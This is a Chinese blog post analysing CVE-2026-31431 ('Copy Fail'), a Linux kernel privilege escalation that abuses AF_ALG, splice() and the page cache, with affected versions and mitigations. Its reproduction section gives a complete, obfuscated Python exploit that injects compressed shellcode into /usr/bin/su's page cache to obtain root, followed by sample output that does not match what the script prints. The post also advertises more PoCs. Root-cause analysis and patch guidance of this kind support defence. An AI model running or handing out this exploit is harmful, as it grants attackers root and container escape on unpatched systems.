欢迎光临
我们一直在努力

Linux 内核史诗级本地提权 全网深度复现、原理完整分析( CVE-2026-31431)

0x01 事件速览:一颗潜伏9年的"定时炸弹"

2026年4月29日,韩国安全研究团队 Theori 公开披露了一个堪称"史诗级"的 Linux 内核本地提权漏洞——CVE-2026-31431,代号 "Copy Fail"。该漏洞由研究员 Taeyang Lee 借助 AI 辅助代码审计工具 Xint Code 发现,并于3月23日报告给 Linux 内核安全团队。

图片

这颗"炸弹"的可怕之处在于:

  • 潜伏时间长达9年:漏洞源于2017年引入的一个"原地优化"(commit 72548b093ee3),此后所有基于该版本构建的内核均受影响;

  • 100%确定性利用:无需竞争条件、无需硬编码内核偏移、跨发行版通用;

  • 攻击门槛极低:仅需一个本地普通用户账号 + 732字节的 Python 脚本,即可从 uid=1000 秒变 uid=0;

  • 容器逃逸利器:在共享内核的云环境、K8s集群、CI/CD流水线中,一个受控容器即可突破隔离,直取宿主机 root。

美国网络安全与基础设施安全局(CISA)已在5月1日将其纳入 已知被利用漏洞目录(KEV),各大发行版补丁正在紧急推送中。

免责声明

请自行搭建环境进行漏洞测试,作者星球分享的工具、项目、漏洞仅供安全研究与学习之用请勿用于非法行为,如用于其他用途,由使用者承担全部法律及连带责任,与作者无关。

TIPS: 更多POC末尾领取资料及加入星球福利

0x02漏洞原理:当加密API遇上页缓存 

Copy Fail 并非传统意义上的内存破坏漏洞(如堆溢出、UAF),而是一个逻辑缺陷。它恰好位于三个内核子系统的交汇点:

子系统角色
AF_ALG Linux 用户态加密 API 套接字接口,允许用户程序调用内核加密算法
splice() 零拷贝系统调用,可在文件描述符和管道之间直接搬运数据,绕过用户态缓冲区
authencesn AEAD(认证加密)算法模板,组合了 hmac(sha256) 和 cbc(aes)

2017年,内核开发者为提升 AEAD 操作性能,引入了一项原地优化:当源数据与目标数据位于同一内存区域时,避免不必要的内存拷贝。这本是一个性能优化,却埋下了一颗逻辑炸弹。

在 algif_aead 模块处理 AEAD 解密时,内核会构建两个散列表(Scatter-Gather List):

  • TX SGL(发送散列表):存放待解密的密文;

  • DST SGL(目标散列表):存放解密后的明文。

正常情况下,DST SGL 应该指向一块独立的内核缓冲区。但2017年的优化允许:当检测到"原地操作"条件时,直接将页缓存(Page Cache)页面链接到 DST SGL 的可写链表中。

攻击数据流:4字节精准注入

sendmsg(AAD)              splice(目标文件)
       │                          │
       ▼                          ▼
  ┌──────────┐   sg_chain    ┌──────────────────┐
  │ RX缓冲区 │──────────────▶│   页缓存页面      │
  │  8字节   │               │ (如 /usr/bin/su)│
  └──────────┘               └──────────────────┘
                                    ▲
                                    │
                         authencesn 在此写入 seqno_lo
                         偏移 = assoclen + cryptlen
                         ════ 漏洞触发点 ════

具体步骤如下:

  • 创建加密套接字:调用 socket(AF_ALG, …) 创建 AEAD 套接字,绑定 authencesn(hmac(sha256),cbc(aes)) 算法;

  • 注入页缓存:通过 splice() 将目标文件(如 /usr/bin/su)的页缓存页面零拷贝到套接字的发送端;

  • 构造AAD:通过 sendmsg() + MSG_MORE 发送关联认证数据(AAD),其中包含攻击者完全可控的 4字节 seqno_lo;

  • 触发越界写:内核在处理 AEAD 解密时,将 seqno_lo 写入 DST SGL 的 assoclen + cryptlen 偏移处。由于 DST SGL 已链接到页缓存页面,这4字节直接落入了只读文件的页缓存中;

  • HMAC校验失败:由于数据被篡改,HMAC 校验必然失败,内核返回 EBADMSG 错误。但此时页缓存已被污染,且磁盘上的文件原封不动

  • 影响范围:几乎全军覆没

    受影响的内核版本

    版本范围状态
    Linux 4.14 ~ 6.18.21 ❌  vulnerable
    Linux 6.19.0 ~ 6.19.11 ❌  vulnerable
    Linux 6.18.22+ / 6.19.12+ / 7.0+ ✅  patched

    受影响的发行版

    包括但不限于:

    • Ubuntu:16.04/18.04/20.04/22.04/24.04 LTS 等

    • Red Hat:RHEL 8/9/10,CentOS Stream,Fedora

    • Debian:Debian 9/10/11/12

    • SUSE:SLES 15, openSUSE Leap/Tumbleweed

    • Arch Linux

    • Amazon Linux 2/2023

    • Alpine Linux(容器基础镜像!)

    0x03 漏洞复现

    执行命令python3  copy_fail_exp.py

    #!/usr/bin/env python3
    import os as g,zlib,socket as s
    def d(x):return bytes.fromhex(x)
    def c(f,t,c):
     a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\\x10'+i*19),(h,4,b'\\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
     try:u.recv(8+t)
     except:0
    f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
    while i<len(e):c(f,i,e[i:i+4]);i+=4
    g.system("su")

    图片

    复现效果

    [*] CVE-2026-31431 'Copy Fail' Exploit
    [*] Universal Linux kernel privilege escalation
    [*] Target binary: /usr/bin/su
    [*] Testing for vulnerability…
    [+] System appears vulnerable!
    [+] Opened /usr/bin/su (fd=3)
    [+] File size: 56944 bytes
    [+] Shellcode size: 160 bytes
    [+] Patching file in page cache…
        Written 160/160 bytes…
    [+] Page cache patching complete!
    # whoami
    root
    # id
    uid=0(root) gid=0(root) groups=0(root)

    0x04 修复建议

    方案A:卸载 algif_aead 模块(推荐)

    ⚠️ RHEL 9 用户注意:algif_aead 在 RHEL 9 中为内置模块(built-in),无法通过 rmmod 卸载,必须等待内核补丁或采用方案B。

    方案B:限制 AF_ALG 套接字

    通过 seccomp、SELinux、AppArmor 或容器安全策略,禁止不可信工作负载访问 AF_ALG 接口:

    方案C:监控异常 splice + AF_ALG 组合

    长期修复:升级内核

    目标版本修复状态
    Linux 6.18.22+ ✅ 已修复
    Linux 6.19.12+ ✅ 已修复
    Linux 7.0+ ✅ 已修复

    各大发行版补丁状态(截至2026年5月2日):

    • Ubuntu:已发布 USN 公告,紧急更新推送中

    • Red Hat:RHEL 8/9/10 补丁正在测试,预计48小时内发布

    • Debian:DSA 公告已发布

    • SUSE:维护更新已可用

    • Arch:linux 包已更新至修复版本

    赞(0)
    未经允许不得转载:171主机测评 » Linux 内核史诗级本地提权 全网深度复现、原理完整分析( CVE-2026-31431)
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址